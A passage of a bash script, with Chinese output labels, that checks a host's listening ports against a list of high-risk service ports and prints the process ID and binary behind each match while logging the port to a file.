8443 8649 8848 8880 8888 9000 9001 9042 9043 9083 9092 9100 9200 9300 9990 10000 11000 11111 11211 18080 19888 20880 25000 25010 27017 27018 28017 50030 50060 50070 50090 60000 60010 60030
"

# get listening ports
ports=$(ss -tuln | awk 'NR>1 {print $5}' | awk -F '[:]' '{print $NF}' | awk '!seen[$0]++')


# iterate through ports
for port in $ports; do
# check whether the port is a high-risk port
if echo "$valid_ports" | grep -q "\<$port\>"; then
# print on terminal and save to file
echo -e 高危端口: "\e[31m$port\e[0m"

pid=$(lsof -i:$port | awk 'NR>1 {print $2}' | head -n 1)
path=$(ps $pid | awk 'NR==2 {print $5}')

echo -e 进程ID: "\e[31m$pid\e[0m"
echo -e 二进制文件: "\e[31m$path\e[0m"
echo -e "----------------\n"
echo "$port" >> output.txt
fi
done